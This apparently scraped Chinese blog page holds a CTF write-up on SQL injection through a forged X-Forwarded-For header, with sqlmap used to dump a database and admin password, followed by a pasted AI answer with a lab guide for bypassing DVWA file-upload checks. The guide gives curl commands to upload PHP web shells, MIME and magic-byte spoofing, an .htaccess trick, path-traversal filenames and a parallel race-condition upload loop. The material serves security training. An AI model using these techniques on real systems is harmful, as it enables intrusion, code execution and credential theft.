X-Forwarded-For注入漏洞实战

本文介绍了X-Forwarded-For注入漏洞的实战,通过伪造XFF头欺骗服务端获取客户端IP,并利用此注入点配合SQLmap对数据库进行爆破,最终获取了用户名和密码,成功登录。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

题目:X-Forwarded-For注入漏洞实战
在这里插入图片描述

知识点:
是HTTP请求头中XFF的伪造和应用,是一道借用XFF来爆破数据库、表、列以及列值的题目。先输入账户为admin,密码为123456进行登录尝试,出现了弹窗,仔细观察弹窗会发现类似IP地址格式的112.111.12.126数据存在,猜测这是服务端记录并显示了客户端的IP地址。
在这里插入图片描述

首先了解服务端如何获取客户端请求IP地址?
服务端获取客户端请求IP地址,常见的包括:x-forwarded-for、client-ip等请求头,以及remote_addr参数。

remote_addr:指的是当前直接请求的客户端IP地址,它存在于tcp请求体中,是http协议传输的时候自动添加,不受请求头header的控制。因此,当客户端与服务器之间不存在任何代理的时候,通过remote_addr获取客户端IP地址是最准确,也是最安全。remote_addr无法伪造

x-forwarded-for,即XFF,是很多代理服务器在请求转发时添加上去的。如果客户端和服务器之间存在代理服务器,那么通过remote_addr获取的IP就是代理服务器的地址,并不是客户端真实的IP地址。因此,需要代理服务器(通常是反向代理服务器)将真实客户端的IP地址转发给服务器,转发时客户端的真实IP地址通常就存在于XFF请求头中。

client-ip同XFF,也是代理服务器添加的用于转发客户端请求的真实IP地址,同样保存与请求头中。

服务端如何获取客户端请求IP地址?参考链接

使用Burp Suite抓包
在这里插入图片描述
查看Response,可以看出服务端的可能记录并显示了客户端IP地址。根据已知服务端获取客户端的方法知识以及题目(X-Forwarded-For注入漏洞实战)的提示,通过在请求头header中增添XFF选项及内容,检测服务端是否可以通过XFF获取客户端IP地址并判断XFF是否可以作为注入点。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
服务端可以通过客户端设置XFF获取IP地址,并将其回显到alert中,因此XFF存在注入点。然后使用kali上的SQLmap对服务端的数据库、表、列以及列值进行爆破。记得将Request保存到test.txt文本文件中

  1. SQLmap结合test.txt文件对数据库进行爆破,发现名为webcalendar的数据库
    在这里插入图片描述
    在这里插入图片描述
  2. 根据上面获取的数据库信息,获取数据库webcalendar的表信息
    在这里插入图片描述
    在这里插入图片描述
  3. 根据获取的数据表内容,有两个表,先对user表的列进行爆破,发现了username和password列,这可能就是我们需要获取的内容
    在这里插入图片描述
    在这里插入图片描述
  4. 根据获取到列的值,对里面的字段进行爆破
    在这里插入图片描述
    在这里插入图片描述

总结:
根据HTTP请求头X-Forwarded-for伪造以及应用,然后使用SQLmap获取到了用户名以及密码(admin,1038411473),最后登录成功
在这里插入图片描述

<think>好的,用户之前已经询问过关于文件上传漏洞检测方法的实验,现在他们再次提问,但这次的条件是只能使用Kali Linux和DVWA,没有Burp Suite。我需要调整之前的回答,去掉Burp Suite的部分,转而利用Kali自带的工具或其他方法来替代。 首先,用户的需求很明确,他们想要进行检测文件上传漏洞的实验,但缺少Burp Suite这个关键工具。作为替代,Kali Linux本身有很多内置工具,比如curl、wget、浏览器开发者工具,甚至可以使用Python脚本来手动构造HTTP请求。 接下来,我需要回顾之前的实验步骤,看看哪些部分依赖Burp Suite。例如,绕过客户端验证时通常需要拦截和修改HTTP请求,而Burp Suite是用来做这个的。现在,用户没有Burp,可能需要使用浏览器开发者工具来禁用JavaScript,或者使用命令行工具如curl来发送修改后的请求。 另一个重点是服务端扩展名检查的绕过。在没有Burp的情况下,如何修改文件名后缀?可能需要手动构造POST请求,或者直接修改前端HTML表单的输入,比如禁用JavaScript验证,或者在保存文件时更改扩展名。 文件内容验证的绕过,比如伪造MIME类型,通常需要修改请求头中的Content-Type字段。这时候如果没有Burp,可能需要使用命令行工具如curl来手动设置请求头,或者使用Python的requests库来发送自定义请求。 此外,路径遍历和条件竞争漏洞的检测,可能不需要Burp,可以通过直接修改文件名进行测试,或者编写脚本快速上传文件来触发竞争条件。 需要注意的是,用户可能对Kali Linux中的工具不太熟悉,所以需要详细说明替代方法的具体步骤,比如如何使用curl命令、如何利用浏览器工具禁用JS等。同时,确保实验步骤在DVWA环境中可行,因为DVWA的不同安全级别会影响测试结果。 最后,验证实验结果的部分也需要调整,比如直接访问上传的文件路径,或者结合DVWA中的文件包含漏洞来执行上传的恶意文件。还要提醒用户注意DVWA的安全级别设置,确保实验环境正确配置。 总结来说,我需要将原实验指南中依赖Burp Suite的部分替换为Kali和DVWA自带或可用的工具和方法,确保用户在没有Burp的情况下仍能完成所有测试步骤,并详细说明每一步的操作,使其易于理解和执行。</think>--- ### **无 Burp Suite 的文件上传漏洞检测实验指南** **仅使用 Kali Linux 和 DVWA 环境** --- #### **实验目标** 在不依赖 Burp Suite 的情况下,利用 Kali Linux 内置工具和 DVWA 靶场,验证文件上传漏洞的检测方法。 --- ### **环境准备** 1. **Kali Linux**:自带命令行工具(如 `curl`、`wget`)和脚本能力。 2. **DVWA 配置**: - 将 DVWA 安全级别设置为 **Low**(便于漏洞复现)。 - 确保文件上传功能可用(访问 `http://dvwa_ip/vulnerabilities/upload/`)。 --- ### **实验步骤与检测方法** --- #### **1. 绕过客户端验证(前端检测)** - **目标**:验证是否仅依赖前端 JavaScript 过滤文件类型。 - **操作步骤**: 1. **禁用浏览器 JavaScript**: - 在浏览器中按 `F12` 打开开发者工具 → 进入 **Settings/Preferences** → 禁用 JavaScript。 - 直接上传 `.php` 文件(如 `shell.php`),观察是否成功。 2. **直接修改 HTML 表单**: - 在 DVWA 上传页面按 `F12`,找到文件上传表单的 HTML 代码。 - 删除或修改 `accept="image/*"` 属性,绕过前端限制。 3. **使用 `curl` 上传文件**(完全绕过浏览器): ```bash # 替换以下参数: # dvwa_ip: DVWA 的 IP 地址 # PHPSESSID: 登录后的 Cookie 值 # file_to_upload: 本地文件路径(如 shell.php) curl -X POST \ -F 'Upload=Upload' \ -F 'uploaded=@./shell.php' \ -H 'Cookie: security=low; PHPSESSID=your_session_id' \ "http://dvwa_ip/vulnerabilities/upload/" ``` 4. **验证结果**: - 访问上传路径 `http://dvwa_ip/hackable/uploads/shell.php`,若返回成功执行代码,说明漏洞存在。 --- #### **2. 绕过服务端扩展名检查** - **目标**:测试黑名单/白名单绕过。 ##### **方法 1:黑名单绕过** 1. **尝试非常见扩展名**: - 上传 `shell.php5`、`shell.phtml`(某些服务器配置允许解析)。 - 使用 `curl` 或浏览器直接上传。 2. **大小写混淆**: - 上传 `shell.PhP` 或 `shell.PHp`。 3. **双扩展名绕过**: - 上传 `shell.jpg.php`,利用服务端仅检查最后一个扩展名的漏洞。 ##### **方法 2:白名单绕过** 1. **上传 `.htaccess` 文件**(仅适用于 Apache 服务器): - 创建文件 `.htaccess`,内容为: ``` AddType application/x-httpd-php .jpg ``` - 上传 `.htaccess`,再上传 `shell.jpg`(包含 PHP 代码)。 - 访问 `http://dvwa_ip/hackable/uploads/shell.jpg` 验证是否解析。 --- #### **3. 绕过文件内容验证** - **目标**:伪造文件类型和内容。 ##### **方法 1:伪造 MIME 类型** 1. **使用 `curl` 手动设置 Content-Type**: ```bash # 上传一个 PHP 文件,但声明为 image/jpeg curl -X POST \ -F 'Upload=Upload' \ -F 'uploaded=@./shell.php;type=image/jpeg' \ -H 'Cookie: security=low; PHPSESSID=your_session_id' \ "http://dvwa_ip/vulnerabilities/upload/" ``` ##### **方法 2:伪造文件头签名** 1. **使用 Kali 内置工具生成混合文件**: - 创建合法 JPEG 文件头 + PHP 代码: ```bash echo -e "\xFF\xD8\xFF\xE0<?php echo 'Vulnerable!'; ?>" > fake.jpg.php ``` - 上传 `fake.jpg.php`,检查是否绕过检测。 --- #### **4. 路径遍历与条件竞争漏洞** ##### **方法 1:路径遍历上传** 1. **通过文件名注入目录穿越**: - 上传文件名为 `../shell.php`,尝试将文件写入上级目录。 - 使用 `curl` 上传: ```bash curl -X POST \ -F 'Upload=Upload' \ -F 'uploaded=@./shell.php;filename=../shell.php' \ -H 'Cookie: security=low; PHPSESSID=your_session_id' \ "http://dvwa_ip/vulnerabilities/upload/" ``` - 检查 `http://dvwa_ip/hackable/shell.php` 是否存在。 ##### **方法 2:条件竞争攻击** 1. **使用 Shell 脚本快速多次上传**: ```bash # 生成一个大文件(1GB) dd if=/dev/zero of=large_file.jpg bs=1M count=1024 # 循环上传文件 for i in {1..100}; do curl -X POST \ -F 'Upload=Upload' \ -F "uploaded=@./large_file.jpg" \ -H 'Cookie: security=low; PHPSESSID=your_session_id' \ "http://dvwa_ip/vulnerabilities/upload/" & done ``` - 在服务器删除临时文件前,尝试访问临时路径触发代码执行。 --- ### **实验结果验证** 1. **直接访问上传文件**: - 在浏览器中访问 `http://dvwa_ip/hackable/uploads/shell.php`,观察是否执行。 2. **结合文件包含漏洞**: - 在 DVWA 文件包含漏洞页面(`File Inclusion`)尝试包含上传的文件: ``` http://dvwa_ip/vulnerabilities/fi/?page=file:///var/www/html/dvwa/hackable/uploads/shell.php ``` --- ### **防御方案验证** 1. **在 DVWA 的 Impossible 级别测试**: - 安全级别设置为 **Impossible**,重复上述步骤,观察是否防御以下攻击: - 文件重命名(如哈希值命名)。 - 内容严格检查(如二次渲染图像)。 - 上传目录禁止执行脚本。 --- ### **替代工具说明** - **curl/wget**:替代 Burp Suite 发送自定义 HTTP 请求。 - **浏览器开发者工具**:禁用 JavaScript、修改 HTML 表单、监控网络请求。 - **Kali 内置脚本能力**:通过 Shell/Python 自动化攻击流程。 --- 通过以上方法,无需 Burp Suite 也可系统性检测文件上传漏洞,适合仅依赖 Kali 和 DVWA 的实验环境。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值